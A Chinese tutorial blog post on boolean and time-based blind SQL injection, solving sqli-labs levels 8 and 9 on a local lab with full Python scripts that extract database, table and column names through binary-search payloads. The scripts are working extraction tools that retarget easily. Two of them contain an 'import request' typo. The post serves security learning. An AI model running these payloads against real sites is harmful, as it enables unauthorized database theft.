sql注入之盲注(bool盲注,时间盲注)

bool盲注

使用场景:

  • 当页面不会返回明确的数据库错误信息 ,但能通过页面内容/状态的差异间接判断SQL语句执行结果时。

原理:

  • 攻击者通过构造布尔条件 (如 AND 1=1OR 1=2),观察页面的响应差异。

  • 通过逐字符猜测目标数据(如数据库名、表名、字段值),结合二分法或穷举法缩小范围。

案例:

sqli-labs---第八关:通过bool盲注获取数据库名字, 以及其中的表面,和字段名

目标地址:127.0.0.1:8080/less-8/index.php (本地部署的靶场)

1.通过脚本获取数据库名

python 复制代码
import requests


def inject_database(url):
     result = ''
     for i in range(1, 50):
         ascii_low = 32
         ascii_high = 128
         mid = (ascii_high + ascii_low)//2
         while ascii_low < ascii_high:
             payload = "1' and ascii(substr(database(), %d, 1)) > %d-- " % (i, mid)
             res= {"id": payload}
             r = requests.get(url, params=res)
             if "You are in..........." in r.text:
                 ascii_low = mid + 1
             else:
                 ascii_high = mid
             mid = (ascii_low + ascii_high)//2
         if mid == 32:
             break
         result += chr(mid)
         print(result)


if __name__ == '__main__':
    url = "http://127.0.0.1:8080/less-8/index.php"
    inject_database(url)

运行结果:

2. 获取此数据库的所有表名

python 复制代码
import request


def inject_tables(url, database_name):
        for table_index in range(0, 10):  # 假设最多有10张表
            result = ''
            for i in range(1, 50):  # 假设表名长度不超过50个字符
                ascii_low = 32
                ascii_high = 128
                mid = (ascii_high + ascii_low) // 2
                while ascii_low < ascii_high:
                    # 修改payload以查询表名,并调整LIMIT的offset
                    payload = f"1' and ascii(substr((select table_name from information_schema.tables where table_schema='{database_name}' limit {table_index},1), {i}, 1)) > {mid}-- "
                    res = {"id": payload}
                    r = requests.get(url, params=res)
                    if "You are in..........." in r.text:
                        ascii_low = mid + 1
                    else:
                        ascii_high = mid
                    mid = (ascii_low + ascii_high) // 2
                if mid == 32:
                    break
                result += chr(mid)
                print(result)
            if result:  # 表存在
                print("---------------------")
            else:
                break  # 如果没有更多的表,退出循环


if __name__ == '__main__':
    url = "http://127.0.0.1:8080/less-8/index.php"
    #inject_database(url)
    inject_tables(url,"security")

3.获取users表中的所有列名

python 复制代码
import request
def inject_columns(url, database_name, table_name):
    for column_index in range(0, 10):  # 假设最多有10列
        result = ''
        for i in range(1, 50):  # 假设列名长度不超过50个字符
            ascii_low = 32
            ascii_high = 128
            mid = (ascii_high + ascii_low) // 2
            while ascii_low < ascii_high:
                # 修改payload以查询列名,并调整LIMIT的offset
                payload = f"1' and ascii(substr((select column_name from information_schema.columns where table_schema='{database_name}' and table_name='{table_name}'  limit {column_index},1), {i}, 1)) > {mid}-- "
                res = {"id": payload}
                r = requests.get(url, params=res)
                if "You are in..........." in r.text:
                    ascii_low = mid + 1
                else:
                    ascii_high = mid
                mid = (ascii_low + ascii_high) // 2
            if mid == 32:
                break
            result += chr(mid)
            print(result)
        if result:  # 列存在
            print("---------------------")
        else:
            break  # 如果没有更多的列,退出循环

if __name__ == '__main__':
    url = "http://127.0.0.1:8080/less-8/index.php"
    #inject_database(url)
    #inject_tables(url,"security")
    inject_columns(url,"security","users")

这三者主要就是修改一下payload,代码很简单, 主要是二分查找与sql语句.

时间盲注

使用场景:

  • 当页面完全无任何回显差异(内容、状态码均无变化),但数据库支持时间延迟函数时。

原理:

  • 攻击者注入包含时间延迟函数 的SQL语句(如 SLEEP()BENCHMARK()),通过响应时间差异判断条件真假。

  • 通过条件语句控制延迟是否触发,逐位提取数据。

案例:

sqli-labs---第九关:通过时间盲注获取数据库名字, 以及其中的表面,和字段名

目标: http://127.0.0.1:8080/less-9/index.php?id=1

页面回显无法通过比较判断,支持sleep()函数, 所以用时间盲注

1.获取数据库名

相比bool盲注, sql主要是用if,sleep(),python代码用了time函数

python 复制代码
import time
import requests


def inject_database(url):
    result = ''
    for i in range(1, 50):
        ascii_low = 32
        ascii_high = 128
        mid = (ascii_high + ascii_low) // 2
        while ascii_low < ascii_high:
            payload = "1' and if(ascii(substr(database(), %d, 1)) > %d, sleep(2), 0)-- " % (i, mid)
            res = {"id": payload}
            start_time = time.time()
            r = requests.get(url, params=res)
            end_time = time.time()
            res_time = end_time - start_time
            if res_time >= 2:
                ascii_low = mid + 1
            else:
                ascii_high = mid
            mid = (ascii_low + ascii_high) // 2
        if mid == 32:
            break
        result += chr(mid)
        print(result)

if __name__ == '__main__':
    url = 'http://127.0.0.1:8080/less-9/index.php'
    inject_database(url)

2.获取表名

python 复制代码
import time
import requests

def  inject_table(url, database_name):
    for table_index in range(0, 10):  # 假设最多有10张表
            result = ''
            for i in range(1, 50):  # 假设表名长度不超过50个字符
                ascii_low = 32
                ascii_high = 128
                mid = (ascii_high + ascii_low) // 2
                while ascii_low < ascii_high:
                    # 修改payload以查询表名,并调整LIMIT的offset
                    payload = f"1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='{database_name}' limit {table_index},1), {i}, 1)) > {mid}, sleep(2), 0)-- "
                    res = {"id": payload}
                    start_time = time.time()
                    r = requests.get(url, params=res)
                    res_time = time.time() - start_time
                    if res_time > 2:
                        ascii_low = mid + 1
                    else:
                        ascii_high = mid
                    mid = (ascii_low + ascii_high) // 2
                if mid == 32:
                    break
                result += chr(mid)
                print(result)
            if result:  # 表存在
                print("---------------------")
            else:
                break  # 如果没有更多的表,退出循环

if __name__ == '__main__':
    url = 'http://127.0.0.1:8080/less-9/index.php'
    #inject_database(url)
    inject_table(url,'security')

速度很慢

3.获取emails表中的所有字段名

python 复制代码
import time
import requests


def inject_columns(url, database_name, table_name):
    for column_index in range(0, 10):  # 假设最多有10列
        result = ''
        for i in range(1, 50):  # 假设列名长度不超过50个字符
            ascii_low = 32
            ascii_high = 128
            mid = (ascii_high + ascii_low) // 2
            while ascii_low < ascii_high:
                # 修改payload以查询列名,并调整LIMIT的offset
                payload = f"1' and if(ascii(substr((select column_name from information_schema.columns where table_schema='{database_name}' and table_name='{table_name}'  limit {column_index},1), {i}, 1)) > {mid}, sleep(2), 0)-- "
                res = {"id": payload}
                s_time = time.time()
                r = requests.get(url, params=res)
                r_time = time.time() - s_time
                if r_time>2:
                    ascii_low = mid + 1
                else:
                    ascii_high = mid
                mid = (ascii_low + ascii_high) // 2
            if mid == 32:
                break
            result += chr(mid)
            print(result)
        if result:  # 列存在
            print("---------------------")
        else:
            break  # 如果没有更多的列,退出循环

if __name__ == '__main__':
    url = 'http://127.0.0.1:8080/less-9/index.php'
    #inject_database(url)
    #inject_table(url,'security')
    inject_columns(url,'security','emails')

就此,时间盲注和bool盲注结束

相关推荐
乌鸦乌鸦你的小虎牙3 小时前
qt 5.12.8 配置报错(交叉编译环境)
开发语言·数据库·qt
一只大袋鼠3 小时前
Redis 安装+基于短信验证码登录功能的完整实现
java·开发语言·数据库·redis·缓存·学习笔记
Anastasiozzzz3 小时前
深入研究Redis的ZSet底层数据结构:从 Ziplist 的级联更新到 Listpack 的完美救场
数据结构·数据库·redis
菠萝蚊鸭3 小时前
x86 平台使用 buildx 基于源码构建 MySQL Wsrep 5.7.44 镜像
数据库·mysql·galera·wsrep
沙漏无语6 小时前
(二)TIDB搭建正式集群
linux·数据库·tidb
姚不倒6 小时前
三节点 TiDB 集群部署与负载均衡搭建实战
运维·数据库·分布式·负载均衡·tidb
隔壁小邓6 小时前
批量更新方式与对比
数据库
数据知道6 小时前
MongoDB复制集架构原理:Primary、Secondary 与 Arbiter 的角色分工
数据库·mongodb·架构
人道领域6 小时前
苍穹外卖:菜品新增功能全流程解析
数据库·后端·状态模式
修行者Java6 小时前
(七)从 “非结构化数据难存储” 到 “MongoDB 灵活赋能”——MongoDB 实战进阶指南
数据库·mongodb